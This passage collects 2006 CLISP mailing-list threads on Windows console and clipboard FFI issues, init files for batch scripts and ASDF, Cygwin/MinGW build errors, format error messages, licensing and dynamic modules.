It was the PPC version running on top of Rosetta, the PPC dynamic  
translation layer.

> What do you mean?

CLISP issued various complaints on startup and a program that worked  
fine on my iBook suddenly started giving errors.

Cheers,

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Yes, the workaround does indeed work. Very strange bug
though, I've never seen this before ;-). I would like
to second-guess where that L comes from, but I'm not
sure it's worth it.
Regards.

--- "Hoehle, Joerg-Cyril"
<Joerg-Cyril.Hoehle@t-systems.com> wrote:

> nusret writes:
> 
> >[1]> (set-macro-character
> >        #\[     #'open-bracket-macro-character)
> >*** - EVAL: variable L#[ has no value
> 
> This looks like another instance of the known bug:
> win32 console copy&paste yields errors about 'L' 
>
http://sourceforge.net/tracker/index.php?func=detail&aid=1232806&group_id=1355&atid=101355
> 
> Work-around: Copy&Paste and be sure to move the
> mouse at the beginning of the next line, instead of
> after the last character you want to copy.
> 
> 
> Another work-around *might* be for a fellow C hacker
> to implement in CLISP'C part for MS-Windows a
> variation on UNIX's line buffered input for the
> terminal.
> 
> The error in MS-Windows is triggered by CLISP
> reading character's from the console one after one,
> instead of providing a large buffer.  Unbelievable?
> Try it out!
> Also, if some kind soul want's to provide a bug
> report to MS, please go ahead.
> I won't, because I don't feel like they'd be
> listening to me.
> 
> Regards,
> 	J�rg H�hle.
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nusret writes:
>Yes, the workaround does indeed work. Very strange bug
>though, I've never seen this before ;-). I would like
>to second-guess where that L comes from, but I'm not
>sure it's worth it.
I analysed it further :-)
It comes from "lisp.exe", i.e. the command line used to start the =
program...
IIRC, you can make more characters appear by issuing more read(1byte), =
or perhaps read(2bytes).

Regards,
	J=F6rg H=F6hle.


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I trekked through all CLISP revisions from 2.33 to 2.38 to see where my 
problem
is - any help/pointer will be appreciated.

When I use 2.33 and everything works as expected. From revision 2.34
the code below does not work as expected.  In essence, the 'reader'
function defined by the def-i/o macro does not work. The 'set' form
does not assign the variable that is  read from file.  This change in 
behaviour
seems to coincide with the change to case insensitive CLISP. The
implementation notes also mention the fact that macros may be
problematic if different name spaces are used. If it is the case, what
do I need to get the expected behaviour (as with 2.33) ?

Thank you
N Swart.

-------------------------------------------
(cd "c:/mingw/home/src/memcut/jacs")

(use-package :FFI)
(default-foreign-language :stdc)

(def-c-struct stform
  (dir uint8)
  (jauto uint8)
  (start uint8)
  (stop uint8)
  (maxspd sint16)
  (meth (c-array uint8 2))
  (sname (c-array uint8 14))
  (refstep (c-array uint8 2))
  (refside (c-array uint8 2))
  (valu (c-array sint16 2))
  (mtpos sint16))

(def-c-var sequencetab (:name "sequencetab") (:library "jacs.dll") 
(:type (c-array stform 32)) (:read-only nil))

;; From 'Successful Common Lisp'
(defmacro def-i/o (writer-name reader-name (&rest vars))
  (let ((file-name (gensym))
    (var (gensym))
    (stream (gensym)))
    `(progn
      (defun ,writer-name (,file-name)
    (with-open-file (,stream ,file-name
                 :direction :output
                 :if-exists :supersede)
      (dolist (,var (list ,@vars))
        (declare (special ,@vars))
        (print ,var ,stream))))
      
      (defun ,reader-name (,file-name)
    (with-open-file (,stream ,file-name
                 :direction :input
                 :if-does-not-exist :error)
      (dolist (,var ',vars)
        (set ,var (read ,stream)))))
      t)))

(def-i/o save-seq load-seq (sequencetab))

;;Inits the variable sequencetab in 2.33, but not in subsequent versions
;;of CLISP
(load-seq "Mandseq-file")


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Good day list,

How does one have a CLISP init file which is loaded /every/ time clisp
is invoked without -norc ?

obviously .clisprc is skipped when clisp is being run in batch mode.

Why do i want this?

For example, asdf usage is indeed very common nowadays. As it relies on
the asdf:*central-registry* to be populated with the list of ASDF
locations, which is host-specific, any CLISP batch invocation chokes
upon doing a (asdf:oos 'asdf:load-op 'something).

regards, Samium Gromoff



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Date: Mon Mar 27 08:37:09 2006
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Samium Gromoff writes:
> Good day list,
> 
> How does one have a CLISP init file which is loaded /every/ time clisp
> is invoked without -norc ?
> 
> obviously .clisprc is skipped when clisp is being run in batch mode.
> 
> Why do i want this?
> 
> For example, asdf usage is indeed very common nowadays. As it relies on
> the asdf:*central-registry* to be populated with the list of ASDF
> locations, which is host-specific, any CLISP batch invocation chokes
> upon doing a (asdf:oos 'asdf:load-op 'something).


The problem is that scripts may be put in /usr/local/bin and may be
used by any user.  All the users should have a ~/.clisprc file
compatible with the scripts!  This is difficult to ensure. 

So the best way is to put all initialization inside the script,

    ( Once upon a time, I had a Makefile with:
      
      SCRIPT_NAME=exemple
      SCRIPT_SOURCES=init.lisp lib1.lisp lib2.lisp main.lisp
      all:$(SCRIPT_NAME)
      $(SCRIPT_NAME):$(SCRIPT_SOURCES)
           @echo '#!/usr/local/bin/clisp -q -ansi' > $@
           @cat $(SCRIPT_SOURCES) >> $@
           @chmod 755 $@
    )

or, if you have a lot of scripts that need the same initialization,
put this common initialization file in a common place, and explicitely
load it from each script:

    #!/usr/local/bin/clisp -q -ansi
    (load "/usr/local/share/clisp/script-init.lisp")
    ...

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Hello to all,

   I have recently started using CLISP on a Windows PC.
   Could somebody tell me how one can TYPE, IN THE INTERPRETER
WINDOW, such characters as
# \ { [ | ^ @ ] }
On my french keyboard, these are typed with the <AltGr> key, or
<Alt><Ctrl> combination. It only works for
~ ` (tilde and back-quote)
which one can get so to speak "by typing a space under".
   Sorry for such a stupid question, but I'd like to type at
least # \ | @ once in a while, in order to improvise some live
examples during my teaching...

Many thanks in advance,

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Samium Gromoff writes:
> On Mon, 2006-03-27 at 18:36 +0200, Pascal Bourguignon wrote:
> > Samium Gromoff writes:
> 
> [snip]
> 
> > The problem is that scripts may be put in /usr/local/bin and may be
> > used by any user.  All the users should have a ~/.clisprc file
> > compatible with the scripts!  This is difficult to ensure.
> 
> I think, scripts put in /usr/local/bin can have -norc in their
> #! header line. Does it solve the problem, or i`m misunderstanding
> something?

This is a question of what is the best default.

IMO, the best default is what is currently implemented.

 
> > So the best way is to put all initialization inside the script,
> 
> Sometimes putting all initialization inside the script doesn`t make
> sense or is even outright impossible.
> 
> Imagine a software package depending on some ASDF modules.
> 
> (Here depending means doing (asdf:oo 'asdf:load-op 'somemodule-1) etc.)
> 
> Imagine then that some user downloads this software package, but doesn`t
> have all of the ASDF modules installed system-wide.
> 
> So what he does is, he downloads these modules, and puts them somewhere
> like /home/me/cl/systems/.
> 
> Now all he has to do is to tell ASDF where it can find these modules.
> 
> And suddenly without some form of an init file this becomes a problem
> you need to solve for _every_ lisp software package, individually.
> Most likely, by changing its source.


Indeed this is a big deployment problem.

That's one thing that's sure, after my experience, is that you don't
want a script that works well the day you install it, to suddently
break  because some user installed some new version of an ASDF
package.  We're speaking here of production scripts, used to maintain
important servers running.  The scripts must be stand alone.  If they
need some ASDF library, then it should be deployed along the script.

Even my proposed solution to have a shared init file is good only if
you're prepared to run regression test on all the scripts you've
installed ever everytime you update it or its dependences.

For scripts with more dependencies, the only valid way to deploy them
in production is to save an image.


> I am not making it up -- you can see that usage of the init file is
> what is recommended in the ASDF manual:
> 
> > The variable asdf:*central-registry* is a list of "system directory
> > designators"1. A system directory designator is a form which will be
> > evaluated whenever a system is to be found, and must evaluate to a
> > directory to look in. You might want to set *central-registry* in your
> > Lisp init file, for example: 
> > 
> > 
> > (setf asdf:*central-registry*
> >   '(*default-pathname-defaults*
> >     #p"/home/me/cl/systems/"
> >     #p"/usr/share/common-lisp/systems/"))

"You *might* want",  and "*your* lisp init file".


> >     ( Once upon a time, I had a Makefile with:
> >       
> >       SCRIPT_NAME=exemple
> >       SCRIPT_SOURCES=init.lisp lib1.lisp lib2.lisp main.lisp
> >       all:$(SCRIPT_NAME)
> >       $(SCRIPT_NAME):$(SCRIPT_SOURCES)
> >            @echo '#!/usr/local/bin/clisp -q -ansi' > $@
> >            @cat $(SCRIPT_SOURCES) >> $@
> >            @chmod 755 $@
> >     )
> > 
> > or, if you have a lot of scripts that need the same initialization,
> > put this common initialization file in a common place, and explicitely
> > load it from each script:
> > 
> >     #!/usr/local/bin/clisp -q -ansi
> >     (load "/usr/local/share/clisp/script-init.lisp")
> >     ...
> 
> Probably this might be ok for software i write. But it also means that
> i`ll need to modify /all/ software using ASDF, with my
> site-and-user-specific script initialisation.

Perhaps you should cite specifics, because if you need to deploy some
software that's distributed as an ASDF system, you'd better check that
it doesn't depend on anything else, or that it builds an installable
image or set that doesn't depend on anything else.

It's really too easy to use ASDF-INSTALL:INSTALL to update to an
incompatible version of an ASDF system that will break your production
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On Mon, 2006-03-27 at 18:36 +0200, Pascal Bourguignon wrote:
> Samium Gromoff writes:

[snip]

> The problem is that scripts may be put in /usr/local/bin and may be
> used by any user.  All the users should have a ~/.clisprc file
> compatible with the scripts!  This is difficult to ensure.

I think, scripts put in /usr/local/bin can have -norc in their
#! header line. Does it solve the problem, or i`m misunderstanding
something?

> So the best way is to put all initialization inside the script,

Sometimes putting all initialization inside the script doesn`t make
sense or is even outright impossible.

Imagine a software package depending on some ASDF modules.

(Here depending means doing (asdf:oo 'asdf:load-op 'somemodule-1) etc.)

Imagine then that some user downloads this software package, but doesn`t
have all of the ASDF modules installed system-wide.

So what he does is, he downloads these modules, and puts them somewhere
like /home/me/cl/systems/.

Now all he has to do is to tell ASDF where it can find these modules.

And suddenly without some form of an init file this becomes a problem
you need to solve for _every_ lisp software package, individually.
Most likely, by changing its source.

I am not making it up -- you can see that usage of the init file is
what is recommended in the ASDF manual:

> The variable asdf:*central-registry* is a list of "system directory
> designators"1. A system directory designator is a form which will be
> evaluated whenever a system is to be found, and must evaluate to a
> directory to look in. You might want to set *central-registry* in your
> Lisp init file, for example: 
> 
> 
> (setf asdf:*central-registry*
>   '(*default-pathname-defaults*
>     #p"/home/me/cl/systems/"
>     #p"/usr/share/common-lisp/systems/"))


>     ( Once upon a time, I had a Makefile with:
>       
>       SCRIPT_NAME=exemple
>       SCRIPT_SOURCES=init.lisp lib1.lisp lib2.lisp main.lisp
>       all:$(SCRIPT_NAME)
>       $(SCRIPT_NAME):$(SCRIPT_SOURCES)
>            @echo '#!/usr/local/bin/clisp -q -ansi' > $@
>            @cat $(SCRIPT_SOURCES) >> $@
>            @chmod 755 $@
>     )
> 
> or, if you have a lot of scripts that need the same initialization,
> put this common initialization file in a common place, and explicitely
> load it from each script:
> 
>     #!/usr/local/bin/clisp -q -ansi
>     (load "/usr/local/share/clisp/script-init.lisp")
>     ...

Probably this might be ok for software i write. But it also means that
i`ll need to modify /all/ software using ASDF, with my
site-and-user-specific script initialisation.


respectfully, Samium Gromoff



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Date: Tue Mar 28 11:36:08 2006
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In the clisp archives I see an email from August 2005 in which Arseny Slobodyuk says he has implemented two functions I really need.  He says:

"I've implemented following functions on Windows
 
 /* (EXT::SETCLIPBOARD str)
    puts str, which should be a string to Windows clipboard.
    On NT put it as CF_UNICODETEXT, on Windows 95/98 -
    as CF_TEXT (translates to ANSI character set using
    *MISC-ENCODING*). 
    returns: T on success, NIL otherwise.*/
   
 /* (EXT::GETCLIPBOARD)"

This is exactly what I need for my current project. He then goes on to say he wants to add these to the distribution.

1. Did this ever happen?  If so, how do I call them?
2. If not, is this code available anywhere?
3. If not, is there another way to get clipboard string access under Windows as of CLISP 2.37?

Thanks!

Tom Summerall 



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Hello Thomas,

> In  the  clisp  archives  I  see  an email from August 2005 in which
> Arseny  Slobodyuk  says  he  has  implemented two functions I really
> need. He says:
> "I've implemented following functions on Windows
>  /* (EXT::SETCLIPBOARD str)

I've never put it to CVS because of lack of time and entusiasm.
(Sam asked me to make these functions part of modules and do not put
it to the core).

-- 
Best regards,
 Arseny    




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I have implemented this via FFI.

Here it is for posterity, since I didn't see it anywhere else.  Please feel free to critique, but be gentle as I am a beginner at Lisp, Clisp, and FFI!

(use-package "FFI")
(def-call-out clip-open
          (:name "OpenClipboard") (:library "user32.dll")
	      (:arguments (hwnd uint))
	      (:return-type int)
	      (:language :stdc))
		  
(def-call-out clip-close
          (:name "CloseClipboard") (:library "user32.dll")
	      (:arguments (hwnd uint))
	      (:return-type int)
	      (:language :stdc))	
		  
(def-call-out clip-get
          (:name "GetClipboardData") (:library "user32.dll")
	      (:arguments (type uint))
	      (:return-type int)
	      (:language :stdc))
		  
(def-call-out clip-set
          (:name "SetClipboardData") (:library "user32.dll")
	      (:arguments (data uint) (format uint))
	      (:return-type int)
	      (:language :stdc))
		  
(def-call-out global-alloc
          (:name "GlobalAlloc") (:library "kernel32.dll")
	      (:arguments (flags uint) (numbytes uint))
	      (:return-type int)
	      (:language :stdc))
		  
(def-call-out global-lock
          (:name "GlobalLock") (:library "kernel32.dll")
	      (:arguments (type uint))
	      (:return-type uint)
	      (:language :stdc))
		  
(def-call-out global-lock-string
          (:name "GlobalLock") (:library "kernel32.dll")
	      (:arguments (type uint))
	      (:return-type ffi:c-string)
	      (:language :stdc))
		  
(def-call-out global-unlock
          (:name "GlobalUnlock") (:library "kernel32.dll")
	      (:arguments (type uint))
	      (:return-type int)
	      (:language :stdc))

(def-call-out memcpy
          (:name "memcpy") (:library "msvcrt.dll")
	      (:arguments (dest uint) (src ffi:c-string) (count uint))
	      (:return-type int)
	      (:language :stdc))
		  
(defun get-clip-string () 
          (clip-open 0) 
		  (let* ((h (clip-get 1)) (s (global-lock-string h))) 
		         (global-unlock h) (clip-close 0) s))
				 
(defun set-clip-string (s) 
          (let* ((slen (+ 1 (length s)))(newh (global-alloc 8194 slen)) (newp (global-lock newh))) 
		  (memcpy newp s (+ 1 slen)) (global-unlock newh) (clip-open 0) (clip-set 1 newh) (clip-close 0)))
				 



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> * Arseny Slobodyuk <nzcl@vpu.qib.eh> [2006-03-30 01:57:59 +1100]:
>
> Hello Thomas,
>
>> In  the  clisp  archives  I  see  an email from August 2005 in which
>> Arseny  Slobodyuk  says  he  has  implemented two functions I really
>> need. He says:
>> "I've implemented following functions on Windows
>>  /* (EXT::SETCLIPBOARD str)
>
> I've never put it to CVS because of lack of time and entusiasm.

if you put your code here, Thomas might turn it into a patch to the
syscalls module.

> (Sam asked me to make these functions part of modules and do not put
> it to the core).

indeed, the proper place for everything that is not needed for bootstrap
is in the modules (there are technical difficulties in putting some
things into the modules - e.g., socket streams, but these issues are not
applicable here).

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Pascal Bourguignon <pjb@informatimago.com> writes:

> Indeed this is a big deployment problem.
>
> That's one thing that's sure, after my experience, is that you don't
> want a script that works well the day you install it, to suddently
> break  because some user installed some new version of an ASDF
> package.  We're speaking here of production scripts, used to maintain
> important servers running.  The scripts must be stand alone.  If they
> need some ASDF library, then it should be deployed along the script.
>
> Even my proposed solution to have a shared init file is good only if
> you're prepared to run regression test on all the scripts you've
> installed ever everytime you update it or its dependences.
>
> For scripts with more dependencies, the only valid way to deploy them
> in production is to save an image.

Another approach that can work is version numbers.  If a script is
written against version 1.2.3 of a library, and it specifies this
somehow at load time, and then someone come along and installs 1.2.4,
the script will not fail, because it is still loading 1.2.3.

-russ



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Hello,

I am trying to build a native windows version of clisp 2.38 with cygwin.

After installing libsigsegv and extracting clisp-2.38.tar.bz2, I run the following:

./configure --with-mingw --with-libsigsegv-prefix=/home/njsand/libsigsegv  --build mingw 2>&1 | tee build.log

When make enters the i18n directory, I get the following error:
configure:  * I18N (Done)
CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc" ; cd i18n ; dots=`echo i18n/ | sed -e 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc -mno-cygwin" CPPFLAGS="-I/home/njsand/libsigsegv/include" CFLAGS="-W -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations -D_WIN32 -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I." INCLUDES="$dots" CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a -lncurses  -luser32 -lws2_32 -lole32 -loleaut32 -luuid  -L/home/njsand/libsigsegv/lib -lsigsegv" RANLIB="ranlib" CLISP="$CLISP -q"
make[1]: Entering directory `/home/njsand/clisp-2.38/mingw/i18n'
/home/njsand/clisp-2.38/mingw/lisp.exe -M /home/njsand/clisp-2.38/mingw/lispinit.mem -B /home/njsand/clisp-2.38/mingw -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 -norc -q -c i18n.lisp
make[1]: *** [i18n.fas] Error 1
make[1]: Leaving directory `/home/njsand/clisp-2.38/mingw/i18n'
make: *** [i18n] Error 2

The problem seems to be a cygwin/windows path format issue.  If I run the failed step with windows format paths, (as below), there is no problem.

$ /home/njsand/clisp-2.38/mingw/lisp.exe -M c:/cygwin/home/njsand/clisp-2.38/mingw/lispinit.mem -B c:/cygwin/home/njsand/clisp-2.38/mingw -Efile UTF-8
-Eterminal UTF-8 -Emisc 1:1 -norc -q -c i18n.lisp
;; Compiling file C:\cygwin\home\njsand\clisp-2.38\mingw\i18n\i18n.lisp ...
;; Wrote file C:\cygwin\home\njsand\clisp-2.38\mingw\i18n\i18n.fas
0 errors, 0 warnings

The full log of my build after the ./configure command is at http://users.on.net/~njsand/build.log

Am I doing something wrong, or is this a problem with clisp, or even my cygwin?

Thanks,
Nick


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Hi,

I have tried for hours now to figure out how to compile clisp (2.38) with the
new-clx module, but it seems not to want to compile due to some voodoo I do not
understand.

This happens on gentoo GNU/Linux with GCC 4.1, Xorg 7.0.

More informations at http://bugs.gentoo.org/show_bug.cgi?id=128288

Note that without this module, the compilations is going fine.

Any idea how to tweak the configure.in system so that it can compile ?

(Note that I *do* have X headers and libraries).

Thank you.

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Error in ./configure "Please do this" directions,
best fix would be to disable config cache by default,
second best fix would be to amend the "Please do this"
directions to have the user disable the config cache.

		Peace
			--Devon
	 /~\
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	  X 	not warfare
	 / \

	Dubya won the digital vote
	Kerry won the popular vote

$ ./configure
...
Configure findings:
  FFI:        yes (user requested: default)
  readline:   no (user requested: default)
  libsigsegv: no, consider installing GNU libsigsegv
./configure: libsigsegv was not detected, thus some features, such as
  generational garbage collection and
  stack overflow detection in interpreted Lisp code
cannot be provided.
Please do this:
  CC='gcc'; export CC
  mkdir tools; cd tools; prefix=bla bla blapwdbla bla bla/i686-pc-linux-gnu
  wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
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  ./configure --prefix=${prefix} && make && make check && make install
  cd ../..
  ./configure --with-libsigsegv-prefix=${prefix}
If you insist on building without libsigsegv, please pass
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to this script:
  ./configure --ignore-absence-of-libsigsegv

$ ./configure --with-libsigsegv-prefix=/afs/site.tld/u/d/devon
executing /afs/site.tld/u/d/devon/gnu/clisp-2.38-debian-3.1-lossage/clisp-2.38/src/configure --with-libsigsegv-prefix=/afs/site.tld/u/d/devon --cache\
-file=config.cache
configure: loading cache config.cache
...
Configure findings:
  FFI:        yes (user requested: default)
  readline:   no (user requested: default)
  libsigsegv: no, consider installing GNU libsigsegv
./configure: libsigsegv was not detected, thus some features, such as
  generational garbage collection and
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cannot be provided.
Please do this:
  CC='gcc'; export CC
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  wget http://ftp.gnu.org/pub/gnu/libsigsegv/libsigsegv-2.2.tar.gz
  tar xfz libsigsegv-2.2.tar.gz
  cd libsigsegv-2.2
  ./configure --prefix=${prefix} && make && make check && make install
  cd ../..
  ./configure --with-libsigsegv-prefix=${prefix} --with-libsigsegv-prefix=/afs/site.tld/u/d/devon/
If you insist on building without libsigsegv, please pass
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to this script:
  ./configure --ignore-absence-of-libsigsegv --with-libsigsegv-prefix=/afs/site.tld/u/d/devon/

$ find . -name config.cache -exec mv {} {}.NOT \;
$ ./configure --with-libsigsegv-prefix=/afs/site.tld/u/d/devon
... now it works but those final directions above are too comically oxymoronic ...


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This took me a while to figure out....

(format t "   ~a ~a,~a~ ~a~%" 1 2 3 4)

gives the error:

*** - Non-existent format directive
      Current point in control string:
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I spent a lot of time trying to figure out why it won't recognize ~a

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By contrast, CMUCL gives an excellent error message:

* (format t "   ~a ~a,~a~ ~a~%" 1 2 3 4)
   1 2,3

Error in format: Unknown format directive.
     ~a ~a,~a~ ~a~%
              ^
The arrow points directly at the offending space.

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This took me a while to figure out....

(format t "   ~a ~a,~a~ ~a~%" 1 2 3 4)

gives the error:

*** - Non-existent format directive
      Current point in control string:
      ~a ~a,~a~ ~a~%
      |

I spent a lot of time trying to figure out why it won't recognize ~a

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Hi,

Thanks for reporting a bug.
Obviously, something broke the formatting (or possibly column number information, or the pretty printer, or who knows), at least in some configurations:

clisp-2.28 on MS-Windows nicely reports:
[1]> (format t "foo~q~a~s" 1 2 3)

*** - Non-existent directive
Current point in control string:
  foo~q~a~s
      |

while 2.38 is broken inside Emacs in MS-Windows (MS-VC build):
[33]> (format t "foo~q~a~s" 1 2 3)

*** - Non-existent format directive
      Current point in control string:
      foo~q~a~s
      |

same on Linux within a terminal window,
but 2.38 works inside SLIME on Linux:
Non-existent format directive
Current point in control string:
  foo~q~a~s
      |
Surprising!?!

Regards,
	Jorg Hohle.


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  Hi.

  Just wondering: I write an application in Common-Lisp and I want to
sell it. Does the GPL allow me to distribute CLISP runtime with the
specific purpose of running my app or am I forced to use the GPL for my
work too ?

  By the way, what's the license of the bytecote specification? Can I
write a commercial VM for the CLISP bytecode?


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Nicholas Sandow wrote:
> Hello,
> 
> I am trying to build a native windows version of clisp 2.38 with cygwin.
> 
> After installing libsigsegv and extracting clisp-2.38.tar.bz2, I run the 
> following:
> 
> ./configure --with-mingw 
> --with-libsigsegv-prefix=/home/njsand/libsigsegv  --build mingw 2>&1 | 
> tee build.log
> 
> When make enters the i18n directory, I get the following error:
> configure:  * I18N (Done)
> CLISP="`pwd`/lisp.exe -M `pwd`/lispinit.mem -B `pwd` -Efile UTF-8 
> -Eterminal UTF-8 -Emisc 1:1 -norc" ; cd i18n ; dots=`echo i18n/ | sed -e 
> 's,[^/][^/]*//*,../,g' -e 's,/$,,g'` ; make clisp-module CC="gcc 
> -mno-cygwin" CPPFLAGS="-I/home/njsand/libsigsegv/include" CFLAGS="-W 
> -Wswitch -Wcomment -Wpointer-arith -Wimplicit -Wreturn-type 
> -Wmissing-declarations -Wno-sign-compare -O2 -fexpensive-optimizations 
> -D_WIN32 -DUNICODE -DDYNAMIC_FFI -DNO_GETTEXT -I." INCLUDES="$dots" 
> CLFLAGS="-x none" LIBS="libcharset.a libavcall.a libcallback.a 
> -lncurses  -luser32 -lws2_32 -lole32 -loleaut32 -luuid  
> -L/home/njsand/libsigsegv/lib -lsigsegv" RANLIB="ranlib" CLISP="$CLISP -q"
> make[1]: Entering directory `/home/njsand/clisp-2.38/mingw/i18n'
> /home/njsand/clisp-2.38/mingw/lisp.exe -M 
> /home/njsand/clisp-2.38/mingw/lispinit.mem -B 
> /home/njsand/clisp-2.38/mingw -Efile UTF-8 -Eterminal UTF-8 -Emisc 1:1 
> -norc -q -c i18n.lisp
> make[1]: *** [i18n.fas] Error 1
> make[1]: Leaving directory `/home/njsand/clisp-2.38/mingw/i18n'
> make: *** [i18n] Error 2
> 
> The problem seems to be a cygwin/windows path format issue.  If I run 
> the failed step with windows format paths, (as below), there is no problem.
> 
> $ /home/njsand/clisp-2.38/mingw/lisp.exe -M 
> c:/cygwin/home/njsand/clisp-2.38/mingw/lispinit.mem -B 
> c:/cygwin/home/njsand/clisp-2.38/mingw -Efile UTF-8
> -Eterminal UTF-8 -Emisc 1:1 -norc -q -c i18n.lisp
> ;; Compiling file C:\cygwin\home\njsand\clisp-2.38\mingw\i18n\i18n.lisp ...
> ;; Wrote file C:\cygwin\home\njsand\clisp-2.38\mingw\i18n\i18n.fas
> 0 errors, 0 warnings
> 
> The full log of my build after the ./configure command is at 
> http://users.on.net/~njsand/build.log
> 
> Am I doing something wrong, or is this a problem with clisp, or even my 
> cygwin?

I worked around the above problem by extracting the source in c:/clisp-2.38, and making a symlink /clisp-2.38 pointing to /cygdrive/c/clisp-2.38.  Then, when doing `cd /clisp-2.38', pwd would report my directory as /clisp-2.38.  This made the paths passed to 'lisp.exe -M' understandable by lisp.exe.

This is most likely a hacky way of fixing the problem without discovering the underlying cause, but the build worked.

> 
> Thanks,
> Nick
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I posted before on this list on the same subject. However, I 
investigated some more after
that. The previous code excerpt used macros. I converted those macro 
expansions to
functions (code excerp below). Specifically, note the function load-seq. 
The function initializes the foreign
variable, sequencetab, from a file. This 'works' with clisp 2.33. If I 
say work I mean that
if I type 'sequencetab' at the REPL after calling load-seq, the expected 
value for sequencetab
is printed. For any version after 2.33 (I tried 2.38), the sequencetab 
structure is still uninitialized
after the call to load-seq.

If one type (symbol-value 'sequencetab) at the REPL, the expected value 
shows up. It is
not needed for clisp 2.33.

It seems that there is a difference in the 'set' form. Any suggestions 
to clear up my
misunderstanding or pointers for debugging and introspection will be 
appreciated


(use-package :FFI)
(default-foreign-language :stdc)

(def-c-struct stform
  (dir uint8)
  (jauto uint8)
  (start uint8)
  (stop uint8)
  (maxspd sint16)
  (meth (c-array uint8 2))
  (sname (c-array uint8 14))
  (refstep (c-array uint8 2))
  (refside (c-array uint8 2))
  (valu (c-array sint16 2))
  (mtpos sint16))

(def-c-var sequencetab
  (:name "sequencetab")
  (:library "jacs.dll")
  (:type (c-array stform 32))
  (:read-only nil))

(defun load-seq (filename)
  (with-open-file (stream filename :direction :input :if-does-not-exist 
:error)
    (dolist (var '(sequencetab))
      (set var (read stream)))))

(load-seq "Mandseq-file")


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Hello,

what is present status of Dynamic Modules? Anybody uses it? I would
quite like to have only one (base) version of clisp that would be able
to load needed modules on demand, and the infrastructure is apparently
there.

The benefits would include much easier distribution of third party
modules, less problems when required external library is missing for
distributed compiled clisp and posibility do delay decision what to
include into full and what no.

However:
- the Dynamic Modules are off by default,
- the command to load the module is not even exported from sys package,
- I see no simple way how to make bundled modules dynamic (I tried it
for rawsock by hand, so I know it is possible, but I found, e.g., no
configure option to achieve that),
- while clisp-link run creates pair of .so and .lisp to use for the
module, it makes them only temporarily,
- I am not aware of any site with modules for clisp other than those
already bundled in. :)

Is there any deeper reason why this is not used much, or even discouraged?

Regards,

Tomas Zellerin


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Thomas Zellerin asks:
>what is present status of Dynamic Modules? Anybody uses it? I would
>quite like to have only one (base) version of clisp that would be able
>to load needed modules on demand, and the infrastructure is apparently
>there.

>- the command to load the module is not even exported from sys =
package,
sys::dynload-modules was/is perceived as a low-level hack to satisfy =
individual users's needs.  There are a couple of technical problems =
with the current solution:

A)- if initialization of the loaded module fails, CLISP exists.  I.e. =
your repl is killed.

B)--with-dynamic-modules prevents using a fixed register for the much =
used STACK variable.  This is said to cost 5% performance.  I'm not =
sure if a register variable for STACK is currently used, since there =
have been bugs in GCC preventing their use in various versions.

I've heard that one cannot use register variables when adding shared =
objects.  However, my personal experience (limited to Linux/x86) has =
never revealed a problem. Maybe there are problems with other =
architectures or environments.

>- I am not aware of any site with modules for clisp other than those
>already bundled in. :)
Most user modules I know were included in the clisp distribution.
Apart from that, that's binary files, so:
C) Are you sure you can load a module compiled with clisp-2.3x into =
clisp-2.3y, or mix/match -DLARGE_FIXNUM with -DNO_UNICODE?  Building a =
repository of modules thus requires lots of files.  Probably wasted =
effort.

Or the distribution is limited to saying "that module works with =
clisp-2.3x as downloaded from Sourceforge".

Isn't that so limited that it kills any wishes for distributing =
modules?

So IMHO, modules more looks like a build/configure options.  Much like =
some Debian packages provide some configuration choices during =
installation.  But after that, the binary is mostly fixed.
Actually, that's an idea for the Debian clisp package: maybe that would =
avoid the dependency on the X libraries (required because of the clx =
modules)?

Your wishful scenario is like this: start CLISP. Say "oh, I want to use =
postgresql". Load the module. "Oh, I want to connect to a server via =
FastCGI". Load/require the module. It seems very doable, like you say, =
and you're welcome to help make this happen.
I believe the biggest problem is A)

Regards,
	J=F6rg H=F6hle.


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> >- the command to load the module is not even exported from sys package,
> sys::dynload-modules was/is perceived as a low-level hack to satisfy indi=
vidual users's needs.  There are a couple of technical problems with the cu=
rrent solution:
>
> A)- if initialization of the loaded module fails, CLISP exists.  I.e. you=
r repl is killed.
This should not be of much issue for debugged modules, should it?

> B)--with-dynamic-modules prevents using a fixed register for the much use=
d STACK variable.  This is said to cost 5% performance.  I'm not sure if a =
register variable for STACK is currently used, since there have been bugs i=
n GCC preventing their use in various versions.

Thats good to know and keep in mind, thanks.

> >- I am not aware of any site with modules for clisp other than those
> >already bundled in. :)
> Most user modules I know were included in the clisp distribution.
> Apart from that, that's binary files, so:

Why necessarily? Source files can (and probably must - GPL) be
distributed to be compiled against clisp on target machine. Think
about PHP, Apache or even kernel modules (e.g., mod_lisp, not to stay
far from lisp)

> C) Are you sure you can load a module compiled with clisp-2.3x into clisp=
-2.3y, or mix/match -DLARGE_FIXNUM with -DNO_UNICODE?  Building a repositor=
y of modules thus requires lots of files.  Probably wasted effort.

No. Actually, I wanted to ask that, too :)

> Or the distribution is limited to saying "that module works with clisp-2.=
3x as downloaded from Sourceforge".
>
> Isn't that so limited that it kills any wishes for distributing modules?
>
> So IMHO, modules more looks like a build/configure options.  Much like so=
me Debian packages provide some configuration choices during installation. =
 But after that, the binary is mostly fixed.

As above - source can be distributed, and it was done for other
languages/systems. But yes, packagers for various platforms seems to
be likely target.

> Actually, that's an idea for the Debian clisp package: maybe that would a=
void the dependency on the X libraries (required because of the clx modules=
)?

Yes, X libraries are prime example of dependencies that can be nasty,
as well as that to database backends. However, as soon as one (as
packager) does it, he charges the B) penalty for everyone. It probably
goes down  to user preferences - but I dont think that many people use
clisp as CL implementation for its speed (thinking about it, three
prime reasons why I prefer it are its relatively small size, readline
repl, and that it works on all platforms I use - and this could help
the size a bit).

>
> Your wishful scenario is like this: start CLISP. Say "oh, I want to use p=
ostgresql". Load the module. "Oh, I want to connect to a server via FastCGI=
". Load/require the module. It seems very doable, like you say, and you're =
welcome to help make this happen.

Exactly what I meant. Ill do few more experiments.

> I believe the biggest problem is A)
I dont think so, for tested modules. And even if you had to load all
the modules at clisp startup time based on some configuration file
(that would make testing much easier, and AFAIK php and Apache do/did
